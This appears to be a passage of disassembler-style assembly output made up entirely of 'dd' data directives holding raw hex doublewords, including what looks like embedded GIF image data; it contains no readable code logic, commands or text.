		dd 91590F0Fh, 18917916h, 0B91A9199h, 0FC8FD91h,	0FA56E911h
		dd 60F45058h, 0CB0DB0Fh, 0CB9260C9h, 0B92A9290h, 92A92C92h
		dd 3092F0C9h, 3293FE19h, 59349339h, 93793693h, 2C93992Dh
		dd 0D93C9379h, 93F93E93h, 4293A93Eh, 0F0CB9289h, 91E0DF0Ch
		dd 0E14F4500h, 0D0CF0D10h, 94F0D194h, 50951950h, 40D10D29h
		dd 95595695h, 5A957958h, 0B95C9599h, 95D95E95h,	6295F960h
		dd 39649619h, 96596696h, 67967968h, 296C9529h, 0E10D695h
		dd 784F50F8h, 75049215h, 7B0F90Fh, 7A03A03Ch, 0D97C97B9h
		dd 97F97E97h, 82981980h, 59849839h, 98798698h, 8A989988h
		dd 0B03C9899h, 0F70F907h, 0F64FD562h, 0F0879900h, 99705305h
		dd 9A999998h, 0C0480539h, 99D99E99h, 0A299F9A0h, 39A49A19h
		dd 9A59A69Ah, 0AA9A79A8h, 0B9AC9A99h, 9AD9AE9Ah, 0B29AF9B0h
		dd 89B499B9h, 8705F99h,	739760F7h, 0B5FE8D99h, 0F25578Dh
		dd 0A106D099h, 59C40A80h, 9C79C69Ch, 0CA9C99C8h, 0D9CC9CB9h
		dd 9CF9CE9Ch, 0D29D19D0h, 59D49D39h, 6D0A19Dh, 2E0F2099h
		dd 0F35638FEh, 0B08A0970h, 8D09109h, 0E40909E2h, 59E69E59h
		dd 9008B9Eh, 8D08B9E9h,	0F9ED0880h, 9F19EE9Eh, 0EA9ED9F0h
		dd 69EB9F59h, 9F79F89Fh, 0FC9F99FAh, 0D9FE9FB9h, 9FFA009Fh
		dd 4A01A02h, 8A06A03Ah,	0A099E79Fh, 8D9E29E4h, 0F09B0910h
		dd 0F509708h, 745669DBh, 0FA5029h, 0E407B05h, 1C4EB0FFh
		dd 0FA1EA1DAh, 0FF4DDA1h, 5007B0E4h, 44FC9710h,	660F70Fh
		dd 0AF0AA07Ch, 0AF0B30h, 0A31A300Bh, 34A33A32h,	7A36A35Ah
		dd 0A39A38A3h, 3CA3BA3Ah, 0FA3EA3DAh, 0A3BA40A3h, 0AA0AFA2Fh
		dd 706A0810h, 56C9720Fh, 0EA501A15h, 10FF0410h,	0A510DB97h
		dd 54A53A52h, 7A56A55Ah, 0A59A58A5h, 5CA5BA5Ah,	0FA5EA5DAh
		dd 0A61A60A5h, 0F80F4A60h, 0A0410FF0h, 4FC0FA0Eh, 750EC0FAh
		dd 20A70AB0h, 0B90BE0Bh, 740BB0BEh, 7A76A75Ah, 0A79A78A7h
		dd 7CA7BA7Ah, 0FA7EA7DAh, 0A81A80A7h, 0FEA83A82h, 71A7DA84h
		dd 70B20BEAh, 780AB0Ah,	46A690ECh, 0E6069BC8h, 845569Bh
		dd 0DF9930B1h, 90DD0DB0h, 0A9BA9AA9h, 9EA9DA9Ch, 1AA0A9FAh
		dd 0AA3AA2AAh, 0A6AA5AA4h, 9AA8AA7Ah, 0DBAA6AAh, 0B19900DFh
		dd 0AA8E0840h, 930FA4Fh, 0B50A60A0h, 60CA0CA0h,	0ABBABA0Eh
		dd 0BEABDABCh, 1AC0ABFAh, 0AC3AC2ACh, 0C6AC5AC4h, 9AC8AC7Ah
		dd 0AC7ACAACh, 0B50CA0E2h, 309E0A40h, 56BAB109h, 53500A4Bh
		dd 80F20E10h, 0E40E10Fh, 0DEADDADCh, 1AE0ADFAh,	0AE3AE2AEh
		dd 0E6AE5AE4h, 9AE8AE7Ah, 0AEBAEAAEh, 70AEBAECh, 30E10F29h
		dd 4F8AD305h, 0AB07A0F9h, 80E70AC0h, 0ED0E30Eh,	0FEAFDAFCh
		dd 1B00AFFAh, 0B03B02B0h, 6B05B04h, 9B08B07Bh, 0B0BB0AB0h
		dd 0E8B09B0Ch, 0C0E70E80h, 7A0AB0Ah, 0D5569AF3h, 0D0454FFAh
		dd 0FF0F20Dh, 1EB1D8F7h, 0F532B1FBh, 0DD0F20Fh,	0F6B15045h
		dd 90740F94h, 0FF0B30Ah, 0FFE00EFh, 30B2F0EEh, 3B32B31Bh
		dd 0B35B34B3h, 38B37B36h, 0BB3AB39Bh, 0B3DB3CB3h, 3DB3FB3Eh
		dd 30FF0EFBh, 740AB0Bh,	17567B26h, 0F0444FEBh, 91C0F00Dh
		dd 50B4FB4Eh, 4B52B51Bh, 0DF0F090h, 0F7B47044h,	20A40690h
		dd 0B5DB530Bh, 60B5FB5Eh, 90B9907Bh, 0B470690Ah, 0DA90A14h
		dd 4555A926h, 0A650E404h, 2001906h, 7B61B709h, 0B73B7290h
		dd 75915B76h, 40F8905Bh, 4FCB570Eh, 9F0690F6h, 990CB5C0h
		dd 0B848FDB7h, 4FB86B77h, 2904281Bh, 91BB88B7h,	0B2918B8Dh
		dd 0B6509F0h, 614B6892h, 47554B6Ah, 70FF0DF0h, 5285630Fh
		dd 9F523001h, 1521B20Bh, 535BA2BAh, 0A752EBA4h,	4BA952ABh
		dd 0F70F152h, 470DF0FFh, 0C0F4B470h, 0AE09C06h,	0A9BA8B9Ch
		dd 0A8F7BABBh, 0BBC53ABBh, 0BE520BA3h, 0D527BA5Bh, 9D0AFBAh
		dd 0D4B6606Ch, 761BB958h, 0F6552B9h, 1C0CF047h,	30E10E9Bh
		dd 0BD5BD4BDh, 1BFED3h,	0D6BD8BD4h, 0DBDCBDBBh,	0BDFBDEBDh
		dd 0E0BDABD5h, 5BE4BE3Bh, 0BE1BE6BEh, 0E7BD9BE7h, 9BDDBE2Bh
		dd 0CFB4D0Eh, 6CA27BB1h, 0AB0960h, 0E30E90Fh, 0FABF9BF8h
		dd 10E3BFBBh, 0BFABFD00h, 2BFCBFEh, 5C04C03Ch, 0C01BFCC0h
		dd 5C09C06h, 1C03C08Ch,	0C0AC0CC0h, 12C11C10h, 0BBEEBF9Ch
		dd 0BC70950Ah, 0A05E2B94h, 0E551A138h, 0FF0CBBCh, 0D90E10EDh
		dd 5C24C230h, 1C23C2h, 27C28C24h, 6C25282Ch, 0C2FC2636h
		dd 29C2E0D9h, 1C27C2CCh, 0C2B281C3h, 28C2AC37h,	0DC31C34Ch
		dd 0C37C33C2h, 35C2AC2Fh, 0BC3CC3DCh, 0C44C40C3h, 32C34C3Ah
		dd 9C38C32Ch, 0C4CC40C4h, 30C3BC36h, 0D0E1C25Ch, 0CB0FF0Eh
		dd 0B34FBBF1h, 0D0AB094Bh, 0DA0E30Eh, 62C61C60h, 10DAC63Ch
		dd 0C62C6500h, 66C60C66h, 6C63C643h, 0C61282C6h, 72C6AC69h
		dd 0FC6A281Ch, 0C74C73C6h, 75C76C70h, 1C7BC78Ch, 0C74C79C7h
		dd 0C69C7EFEh, 84C6DC82h, 0EC7AC65Ch, 0C87C82C6h, 88C71C7Fh
		dd 2C6CC7ECh, 0A4AFBC6h, 8FC18089h, 0C8AAC1AAh,	0F4550C1h
		dd 200C9047h, 0C96D0DFCh, 0D100196h, 0A394FCA1h, 0CA6CA4Ch
		dd 96DCA595h, 0ABCA3CA9h, 0CCA5CA4Ch, 0CAECA8CAh, 51CA2CB1h
		dd 5CB3CB09h, 0CA2CB8CBh, 0A7CB2CAFh, 4CB7281Ch, 0CC1CC0CBh
		dd 0C1CADCC0h, 9CAFCC4Ch, 0DF96DCAh, 590C9C56h,	0C0F84FACh
		dd 0A908906h, 0D40D7C5Eh, 7CD6CD5Ch, 10D7CDh, 0DBCDACD4h
		dd 0CCD5CDDCh, 0CDBCD8CDh
		dd 0E0CDCCE0h, 0FCE2CD9Ch, 0CE4CD6CDh, 0DECDECE3h, 9CE4CE5Ch
		dd 0CEBCD8CEh, 0F4CE6CE8h, 0ECE8CF3Ch, 0CECCE7CEh, 0F3CEFCF4h
		dd 1CF6281Ch, 0AFBCD6CEh, 9408309Fh, 2BCAA4ACh,	0C1DBCC62h
		dd 0EC0FFC9Bh, 0F94D0DD0h, 0D11D10D0h, 13D10001h, 5D15D0FDh
		dd 0D19D11D1h, 14D1894Dh, 0C0CFD1DDh, 0D16D17D1h, 20D1ED1Bh
		dd 2D22D23Dh, 0FE9D24D1h, 0D25D27D2h, 26D27D2Bh, 0CD2ED1CDh
		dd 0D1AD2CD2h, 0EC0DD94Dh, 7CCC0FF0h, 6C0F9B4h,	0EC09F086h
		dd 10D30DE0h, 0D43D42D4h, 10D3D44h, 8D47D410h, 0D42D4AD4h
		dd 4BD45D49h, 6D4DD4BDh, 0D52D4FD4h, 51D51D45h,	8D53D4CDh
		dd 0D43D5AD5h, 50D56D4Dh, 0ED5AD55Dh, 0D59D54D5h, 5CD61D5Fh
		dd 0ED4ED4EDh, 9C0EC0Dh, 0D4D05080h, 9629D07Ah,	0F9550D0h
		dd 0FF0C4047h, 30D90E90h, 192B94h, 2A36AD7Bh, 9D7A2819h
		dd 92DD7C92h, 86D82D83h, 0BD87D7FDh, 0D85D830Ch, 8DD89D8Ah
		dd 0CD7ED8ADh, 0D8BD8C92h, 94D8ED7Bh, 5D98D88Dh, 0D8E36FD8h
		dd 66D90D98h, 9D7AD963h, 0FF0E90Dh, 0F9CCD0C4h,	0F06C0F64h
		dd 0EB09807h, 0AE0CD0DCh, 1DB0DAFDh, 10CDDBh, 0B3DB4DAFh
		dd 8DB6DAEDh, 0DB0DB2DBh, 0BEDB7DB9h, 1DBFDBADh, 0DBCDB5DCh
		dd 0B5282DBCh, 0ADB3DBDDh, 0DB9DB236h, 0CEDB6DBDh, 9DC3DCBDh
		dd 3FE66DCh, 0DB1DC7DCh, 0CDDD1DCFh, 0CDBBDBBDh, 950EB0Dh
		dd 6AD6E07Dh, 44FCB495h, 0FF0C1D7h, 0C70D60E5h,	0BDEADE90h
		dd 1DEBDEh, 0ECDECDEDh,	1DF0281Dh, 0DEEDF3DFh, 0F6DF6DEAh
		dd 7DF8DE9Dh, 0DEFDFADFh, 0FFDF90C7h, 0CDF3DFDDh, 0E00E04DFh
		dd 0FEE05DFBh, 0DF9E02Dh, 0DF4E04E0h, 0FE0EE02h, 50D6E03Eh
		dd 0C10FF0Eh, 0B34F8DA6h, 809407DBh, 0CE0DA0Eh,	20E1FE1Eh
		dd 10CEE21Eh, 0E24E2000h, 25E23E24h, 0FE29E22Eh, 0E27E27E1h
		dd 2BE2DE1Eh, 8E2EE21Eh, 0E2CE2FE2h, 33E2EE32h,	0BE38E2AEh
		dd 0E22E30E2h, 3EE36E26h, 4E3BE3AEh, 0E44E35E3h, 1FE2AE46h
		dd 20E80DAEh, 0BC8DDF09h, 0FBDE2557h, 50470FA4h, 0C70DFDEh
		dd 58E570BAh, 1E59E59Eh, 0E5AE5B00h, 5C0BAE5Eh,	1E57E5FEh
		dd 0E64E5AE6h, 5DE63E60h, 0AE68E67Eh, 0E66E6BE6h, 5FE66E61h
		dd 0DE6BE6EEh, 0E72E69E6h, 77E6FE58h, 3E7AE71Eh, 0CE69FEE7h
		dd 0C7E5FE7h, 66E16B9Ah, 207906CBh, 0D00E009h, 33E48E48h
		dd 9E46E3FEh, 0E3CE32E3h, 8FE40E90h, 0AE8BE40Eh, 0E89E45E3h
		dd 3DE45E43h, 1E99E8FEh, 0E34E41E3h, 89E8DE95h,	0D0E21Eh
		dd 790920Eh, 70B16DE0h,	0FD72630Dh, 0BFE5254h, 0C10D90FFh
		dd 5EB40B60h, 0EB6EB6EBh, 0BAEB8001h, 5EB90B6Eh, 0EB7EBDEBh
		dd 0BFEBBEBEh, 3EB4EBCEh, 0EBFEBDECh, 0BEEC2EC7h, 7EC1EC9Eh
		dd 0ECCEC8EBh, 0C8EC5EC5h, 4ECDED1Eh, 0ECDED3EDh, 0C4ED4EC6h
		dd 0ECBED8Eh, 0C1EB7ECh, 0BF0FF0D9h, 0F4F7E170h, 770690Eh
		dd 0A3E1D092h, 0BE2CE9FEh, 0E37E47E9h, 97EEDE94h, 8EF4EA2Eh
		dd 0EF7EEEE3h, 9AEF6EECh, 8E9EE8AEh, 0EF5EF1EFh, 0DAEEBE9Eh
		dd 306F0940h, 682C95B9h, 538C78B0h, 1EB1EAF5h, 0E5EE620Ch
		dd 5B366E70h, 3E7D282Eh, 0F16281F1h, 14E76E64h,	3E79E78Fh
		dd 0F19F17E6h, 1FE71F14h, 1E78E7CFh, 0EE6CF2FEh, 0F28F17F1h
		dd 26E6EF28h, 7F12F21Fh, 0F0FF23E7h, 0E2EE00BAh, 64F6EE4Eh
		dd 0EE906FEEh, 92EECEEBh, 8F01366Eh, 0E25282E2h, 37EA0281h
		dd 6EF3F43Eh, 0E23E8CEFh, 46EEDF41h, 3E2FE93Fh,	0E8EE3DF4h
		dd 4DF4AEF3h, 7F3EE39Fh, 0EF4F57E9h, 0DA0CEF3Bh, 0EF050920h
		dd 0EAB84BE4h, 4EEAD64Ah, 0F0440FA5h, 0D50FD0Bh, 6CF320C6h
		dd 0EF1DF6DFh, 0F71F70F6h, 15F73F72h, 7F76F74Fh, 0C6E62F7h
		dd 0BF0FD0D5h, 0F4FBB7D0h, 6F0700Eh, 0D80E0095h, 0CF86F5B0h
		dd 0F87F4EEFh, 8CF8BF8Ah, 0FF8EF8DFh, 0D8F8AF8h, 7006FEA6h
		dd 555F600h, 53AB2E5h, 0DD0F40C2h, 0FD340D90h, 0F9FFA0F9h
		dd 0A4FA1D30h, 7FA6FA5Fh, 0FA3FA1FAh, 0ACFABFA8h, 0D0D9FA4Fh
		dd 0C20F40Dh, 0F34FCAF2h, 306F07A0h, 0C00B408h,	0BC0CC0C8h
		dd 0FFBEFBDFh, 0FC1FC0FBh, 0C3001FC0h, 7FC6FC2Fh, 0FC9FC8FCh
		dd 0CCFCBFCAh, 0FECEFCDFh, 80CCFCFFh, 0B40C00Ch, 1406F07Dh
		dd 6F08C19Bh, 0EAEC988Ch, 0E50A807Eh, 10E90E50h, 0FE3FE2FEh
		dd 0E6FE5FE4h, 9FE8FE7Fh, 0FEBFEAFEh, 0EDFEDFECh, 1FEE001Fh
		dd 0FF3FF2FFh, 0A8FDFFE3h, 8B4707E0h, 680930Fh,	0A508E05Ah
		dd 1000B70h, 8240D8ACh,	441E0D05h, 30D8B098h, 3E180186h
		dd 0E2511884h, 2D0A8944h, 5198C45Eh, 0A8E46E3h,	0E52ADE19h
		dd 499A0B48h, 449DE2FAh, 4AE55299h, 0BE5D2D96h,	5ECF1784h
		dd 0E45C1F8Fh, 5399C4DCh, 3F2E4E27h, 178BD87Ah,	0A250E5F3h
		dd 0C3E9E345h, 395B23E5h, 0B1D54D75h, 0EA551A83h, 0AD55AA54h
		dd 359AC3B6h, 5DAE55ABh, 0EAD56AABh, 0AA58EC55h, 4592B760h
		dd 0BAA9D68Bh, 0E07CD972h, 1F52C932h, 0C26226BBh, 4A64EA24h
		dd 7DBE5EEFh, 0AC05FEFDh, 0C260D4F7h, 461F0D85h, 6054F89Ch
		dd 3F1D8DC6h, 72591C86h, 129DC1E0h, 84A31185h, 9DA35C5Dh
		dd 8CFEB73Dh, 4EE6B339h, 0FE7B3AD2h, 7559FA0Ch,	9EED7A51h
		dd 0F6761A4h, 0F87CBE5Fh, 9DC6DF6Ch, 0DE6D36FBh, 0E6F77DBDh
		dd 70F85C17h, 0D37FC3E2h, 0F8EFF7FEh, 99CADEF2h, 5D1E873Fh
		dd 0D4EA74FAh, 0F363B1EDh, 96BD1DA4h, 1181EEF4h, 9F4E6622h
		dd 9FCDE53Fh, 0FD5E9F47h, 0DDEDF67Ah, 5F1F87BFh, 0F5FA7CFEh
		dd 2389F7E5h, 7B980846h, 0EFFF57DCh, 6C9A342Ch,	0D3C0AD2Ah
		dd 400A1280h, 0E7825105h, 68DA4D1Fh, 27091425h,	0B42B0A4h
		dd 4330C42Fh, 0B0E4370Dh, 43F0F43h, 47114431h, 4D0BC56Ch
		dd 255049FEh, 0A4C9E078h, 0A0B23B10h, 67194622h, 258A91A4h
		dd 4731C46Ah, 0B1E4771Dh, 47F1F47h, 81214832h, 2CC831BCh
		dd 932428ECh, 926416D4h, 2B470125h, 9703B4B0h, 0E541726Ch
		dd 741E0F6h, 0A1D0701Ch, 4BF2F4Bh, 0C7314C33h, 2DCCB324h
		dd 4D3344CFh, 0B364D735h, 84CB374Dh, 0E7394E33h, 753FEA4h
		dd 8678F61Eh, 0B1EEA21Fh, 0AC2F9187h, 41503400h, 902B507h
		dd 34450F42h, 65174551h, 1F4751B4h, 47D23485h, 0BF4850Dh
		dd 0AFE9EE46h, 94194D4Ah, 0A528C069h, 4DC109F4h, 1EC78401h
		dd 2649B27Bh, 25546218h, 5F5755A6h, 6355B585h, 56B5A566h
		dd 35C56F5Bh, 0E1846357h, 7F5F57B5h, 611835EDh,	0D8B62587h
		dd 16456361h, 659664D6h, 9F6759B6h, 64DA3685h, 5AB6A196h
		dd 36C5AF6Bh, 5DA96D5Bh, 80771B36h, 7D1E8982h, 1B26D9CAh
		dd 3745CF73h, 0B1A86CDDh, 0DF775DA6h, 795E3785h, 5EB7A5E7h
		dd 37C5EF7Bh, 0E5F77D5Fh, 0CF7C5D97h, 7D9C86DDh, 0CAB51BFCh
		dd 0D4FC0927h, 2CA950B4h, 0F898B3F8h, 89622E49h, 62B8A627h
		dd 38C62F8Bh, 0E6378D63h, 3F8F63B8h, 7FE43906h,	4567A1F8h
		dd 3911E8A2h, 66579565h, 5F9765B9h, 8664988Eh, 53B5261Bh
		dd 69CE1328h, 0F66914CAh, 7F9F456Ch, 683A06FEh,	0BA2687A1h
		dd 468FA368h, 97A5693Ah, 0A769BA66h, 69EA2E81h,	0BAA6A7A9h
		dd 0C6AFAB6Ah, 9B9E683Ah, 8567183Ch, 0EB79DB51h, 0BB26B3A8h
		dd 46CFB36Ch, 0D3B1E8BBh, 0B76DBB66h, 0EC5A3EDFh, 9AF6BB05h
		dd 96C385A7h, 0F7BD6F3Bh, 0BF6FBBE6h, 703C06FFh, 0D27707C1h
		dd 0D6EB8466h, 17C57099h, 0C771BC67h, 0F23C871Fh, 5BAEE9BFh
		dd 0C725C48Eh, 37CD733Ch, 0CF73BCE7h, 0F2BC360Dh, 0BCFF2E9Bh
		dd 474FD374h, 79D5753Dh, 0BBF11CA6h, 763D8757h,	0DDA767D9h
		dd 26BDD6F3h, 77DD76BDh
		dd 0DF77BDE7h, 0F45D0EB9h, 0BE277FDCh, 0A78FE378h, 879C76FDh
		dd 0E779BE47h, 719E879Fh, 3E6613E5h, 0C7AFEB7Ah, 45E07B3Eh
		dd 0D7F71C3Bh, 7C3F07B5h, 3157C7F1h, 70B9CAF8h,	4A7C87A2h
		dd 0F77DBF26h, 1E1E47DFh, 0C1E9F27Ah, 2E71EE89h, 0D61F89C3h
		dd 0FF6E0A0Fh, 6007FFh,	2403805h, 780D016h, 0FE3C5ABCh
		dd 2703F7E6h, 72744194h, 7E160328h, 11F58FC0h, 0C4177E0Ch
		dd 474F0660h, 0E3F1F98Fh, 0A0705807h, 93D0CAE8h, 54C6D0E0h
		dd 0A614427h, 1642B855h, 2F85D0B6h, 650C6184h, 0D61A4338h
		dd 0C43786D0h, 0B8750E61h, 0D0F61E43h, 62043F87h, 44388510h
		dd 3826D219h, 8A10935h,	9F03F825h, 4F89C0F4h, 0A5146284h
		dd 562A4538h, 0C4578AD1h, 0B8B51662h, 0D1762E45h, 63045F8Bh
		dd 4638C518h, 8CD19632h, 1A634467h, 2D46B8D5h, 4983F132h
		dd 9D08E07Ch, 0D6374730h, 0C4778ED1h, 0B8F51E63h, 0D1F63E47h
		dd 64047F8Fh, 48390520h, 90D21642h, 22644487h, 4648B915h
		dd 8F91D236h, 0E7206484h, 3E383F68h, 185C8210h,	0B9341721h
		dd 0D2764E49h, 65049F93h, 4A394528h, 94D29652h,	2A6544A7h
		dd 564AB955h, 0AF95D2B6h, 652C6584h, 0D65A4B39h, 34B796D2h
		dd 692B08E5h, 0D2F65E49h, 6604BF97h, 39688530h,	0D316624Ch
		dd 6644C798h, 4CB99532h, 99D33666h, 346684CFh, 6A4D39A5h
		dd 0D79AD356h, 0B53666C4h, 766E4DB9h, 4DF9BD3h,	39C53867h
		dd 0D396724Eh, 6744E79Ch, 4EB9D53Ah, 9DD3B676h,	3C6784EFh
		dd 7A4F39E5h, 0F79ED3D6h, 0F53E67C4h, 0F67E4FB9h, 4FF9FD3h
		dd 3A054068h, 0D4168250h, 684507A0h, 0D0BA1542h, 40684h
		dd 3Bh,	0
		dd 38464947h, 21D6137h,	0E700A4h, 10000h, 5010603h, 9030408h
		dd 0A0D0B0Dh, 13101311h, 15111214h, 1A181417h, 1A1C1B17h
		dd 201C201Eh, 24221E22h, 23272521h, 2A262927h, 2E2C282Ch
		dd 2C302E2Ah, 37323230h, 3B393539h, 3A3D3B37h, 423D403Eh
		dd 46444044h, 4C4C4A46h, 534E5250h, 58565255h, 5C5B5854h
		dd 66616360h, 6B686468h, 5F6E6C67h, 74598972h, 73716C89h
		dd 5F8A755Ah, 7D628F7Ah, 95806592h, 73CA8A33h, 816A7F7Fh
		dd 97806D91h, 9093826Ch, 8F3F677Ch, 0CB8758BCh,	79B8913Eh
		dd 86708585h, 97857697h, 7287847Fh, 8A569988h, 9A8973DBh
		dd 41DD8C58h, 8C80FF91h, 9F8D7E8Ch, 82A08F78h, 94688F8Eh
		dd 0FF9646A7h, 85FE9352h, 937B9191h, 0F69854B0h, 7E949387h
		dd 9778A695h, 0A7967FA7h, 80A89586h, 9A59A897h,	0A99881FFh
		dd 8BFF9E50h, 9C5B9897h, 0C8997CFFh, 699A998Dh,	9C66E89Ch
		dd 0BAA270FCh, 609C9C8Fh, 9C8DFFA1h, 0AA9D91AFh, 91A59F8Fh
		dd 0A27FA7A1h, 0FEA46DD7h, 97A3A396h, 0A965B0A2h, 0FFA76FFFh
		dd 66C9A97Bh, 0AA70FFAAh, 0ADA797FDh, 7AB3A69Ah, 0A89CC1AFh
		dd 0FFAE75A9h, 0A1B4AD9Dh, 0AD9EBAADh, 0FFB280CDh, 98B6B0A0h
		dd 0AEA3CEB0h, 0B7AFA7C8h, 6FDCB392h, 0B78FFEBAh, 0DDB493C5h
		dd 94B9B3A3h, 0B58BDEB5h, 0C1B3A8FEh, 0A9FFB984h, 0BC8EBFB9h
		dd 0FEBA96FEh, 0B3FFBF91h, 0BDB5C3BBh, 0C6BFAFC6h, 9AE6C1A5h
		dd 0C2B1FEC2h, 0FFC49DC8h, 0A2CBC4B4h, 0C6A4F7C7h, 0F7C6A9FDh
		dd 0BECDC5BDh, 0C8B8CFC6h, 0D0C7BFCEh, 9FFFCAA8h, 0CAADFDCEh
		dd 0D2CBBBFCh, 0C1FDCDA7h, 0CCB0D2CAh, 0FFCFA9FEh, 0B8FFCFB2h
		dd 0D1C1FCD0h, 0D8D0C8D8h, 0B4FFD2BAh, 0D5C5FFD5h, 0FFD6B6DCh
		dd 0C2DDD5CCh, 0D8BCFCD5h, 0DFD8C8FDh, 0BAFED7C4h, 0DCB7F8DBh
		dd 0E0D8CFFFh, 0D4F9DAC2h, 0DBCBDBD9h, 0FFDAC6E2h, 0CBE2DAD2h
		dd 0DDCCFCDAh, 0E4DBD3E3h, 0C6E5DCD4h, 0DFCEFDDEh, 0F9E1C5E5h
		dd 0D6E0DED8h, 0DFDAE7DEh, 0E8E0D7E2h, 0D2FBE3C7h, 0E0DBE9E2h
		dd 0FBE2CEE3h, 0D9E9E1D8h, 0E2DCEAE2h, 0F8E3D4E4h, 0DDEBE3DAh
		dd 0E6D5E5E3h, 0E6E4DFECh, 0CCFAE7CFh, 0E7D6FFE8h, 0FAE4DCEDh
		dd 0E0FAE6D6h, 0E7D7E8E5h, 0E9E6E1FBh, 0E1E3E4EAh, 0E4EDF5E5h
		dd 0F0E7DFDDh, 0E2F0E9D9h, 0E6E2EAE7h, 0F6E8DCF6h, 0E3F1EADAh
		dd 0E7E3EBE8h, 0F2EBDBF7h, 0E4ECE9E4h, 0ECDCF8E8h, 0EDEAE5F3h
		dd 0DDFAECE0h, 0ECE6F4EEh, 0F5EBEAEEh, 0DCEFEDE7h, 0EEE5FDF0h
		dd 0F2EFEAF7h, 0EBF9F0E8h, 0F1E4F3F0h, 0FFF3DFFFh, 0E9F4F1ECh
		dd 0F2EDFAF2h, 0FBF1F0F5h, 0EFF6F3EEh, 0F6F0F7F5h, 0F9F7F2F8h
		dd 0F3FBF6F9h, 0F8F6FBF8h, 0FCF9F4F4h, 0F5FCF8FAh, 0F8FEFDFAh
		dd 0F7FAF8F7h, 0F9FEFBF6h, 0FCFAF8FBh, 0FFFDF7F9h, 0FEFAFDFBh
		dd 0FEF8FFFCh, 0FBFDFFFFh, 0FCFFFFF9h, 0FFFEFBFFh, 2CFCh
		dd 21D0000h, 80000A4h, 98700FEh, 20B0481Ch, 9AC366C1h
		dd 0B0C68B35h, 0D48643A1h, 489C4A22h, 8BB5E231h, 0DC6A3318h
		dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh
		dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 5346730Fh, 0CFA0D098h
		dd 2A79039Fh, 61B0A85Ch, 90D48851h, 512A5CDEh, 50A7D3A6h
		dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D31AED48h, 1A915FAFh
		dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh
		dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh
		dd 0BF7DC3E1h, 91B6D49Eh, 8E6D5631h, 38C6469Dh,	0BDE42AB9h
		dd 0D35F2B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0ED1B0E2h
		dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h
		dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh
		dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h
		dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh
		dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh
		dd 9B02A018h, 47A6D8h, 89B6D87Ah, 2005D502h, 461083E0h
		dd 1484E128h, 1541C7EEh, 8081B6h, 0C145B608h, 86208541h
		dd 2488E228h, 109E2896h, 4D76D41Eh, 80246402h, 81E369Ch
		dd 348CE261h, 8DE368D6h, 40E24202h, 0A03C7A6Dh,	420903CDh
		dd 902400D6h, 40E0D5h, 9706404h, 519C0164h, 4DA0480h, 10305A0h
		dd 9305D004h, 0A54949B5h, 1A5B595h, 80B0041h, 648E20E1h
		dd 99E66996h, 0AB02220h, 0A0A82064h, 6A1C0A8Dh,	90020A73h
		dd 240150C9h, 0C21280D4h, 606E4C05h, 525120CBh,	63176440h
		dd 0A0E8198Eh, 40820263h, 419CC31Bh, 4668A180h,	94A4E92Ah
		dd 95C1A7BEh, 89792E2Bh, 0A168DA8Bh, 2C0B6401h,	32FDB52h
		dd 93280930h, 25896480h, 0B36AAAAAh, 0B5FE1381h, 0ACE95989h
		dd 0AB6AD6B4h, 0A8703B73h, 4DB504C7h, 3B07E090h, 1B4B66D4h
		dd 24709069h, 9964C393h, 686AAECh, 90946CB0h, 281B59A9h
		dd 0ED6ADE90h, 5A56D8B5h, 80DA0448h, 0B9642C10h, 2141036Ah
		dd 0C051E990h, 30D41C03h, 41B6A148h, 0CCAAEECAh, 345B5352h
		dd 0EF6B66D5h, 7896F8BDh, 2CAF018Dh, 0AB6D4A70h, 18AB028h
		dd 5903DC8h, 0BC2EFC0h,	2F0CC2EDh, 90BFC06Ch, 0C4EF9B51h
		dd 611C5714h, 70602406h, 6424061Bh, 596D6CA0h, 0C270DC24h
		dd 1A642EEh, 51399086h,	0B72CC5AFh, 327BF2ECh, 6DAB000Ch
		dd 5B50CB2Ah, 62BC2105h, 8805154Bh, 3FC3325Ch, 1D40A217h
		dd 0C071B4C3h, 0AD272FCAh, 1DED2F4h, 0B72D8032h, 0AA4032D9h
		dd 41625D90h, 70540300h, 0C2EDCF86h, 6D36B3FBh,	2801048h
		dd 0F4C0103Bh, 0DA768D9h, 0A81025E2h, 70DBF6EDh, 0EC077D7h
		dd 88B350ABh, 0ADC63205h, 7CDEFEF7h, 587A793h, 77903E8Fh
		dd 6E1784DFh, 2788E1F8h, 8CE2F8AEh, 0E3F8EE37h,	0A36E4790h
		dd 67655E57h, 6798E5F9h, 9CE6F9AEh, 0E7F9EE77h,	0FA2E87A0h
		dd 4763A4E8h, 9D5E7579h, 0ACEAD405h, 0EBFAEEB7h, 0FB2EC7B0h
		dd 6ED7B4ECh, 0E7B8EDFBh, 0BCEEFBAEh, 0EFFBEEF7h, 0FB1F07C0h
		dd 77455D50h, 0FD03344Dh, 0CCF2FCA2h, 0F3FCEF37h, 0FD2F47D0h
		dd 6F57D4F4h, 67D8F5FDh, 0DCF6FDAFh, 0F7FDEF77h, 0FE2F87E0h
		dd 6F97E4F8h, 0FD7F9FEh, 0C68BCD14h, 3ECC3579h,	4F83E0FBh
		dd 6FD7F43Dh, 0E7F8FDFFh, 0FCFEFFAFh, 0FFFFEFF7h, 0A00C00h
		dd 2C04807h, 880F01Ah, 1702A04Ch, 3A06C0C8h, 8C1081F0h
		dd 7E4FFE0h, 2F1461BFh,	1F7BC739h, 0F21E43Eh, 83F07878h
		dd 8A10C20h, 12C24847h,	2884F09Ah, 570AA14Ch, 0BA16C2C8h
		dd 8C3085F0h, 48670CA1h, 0F0DA1AC3h, 0A1CC3886h, 4298770Eh
		dd 1F63E20Eh, 9F58C3FEh, 9081AE72h, 1DC3C20Dh, 12A24C48h
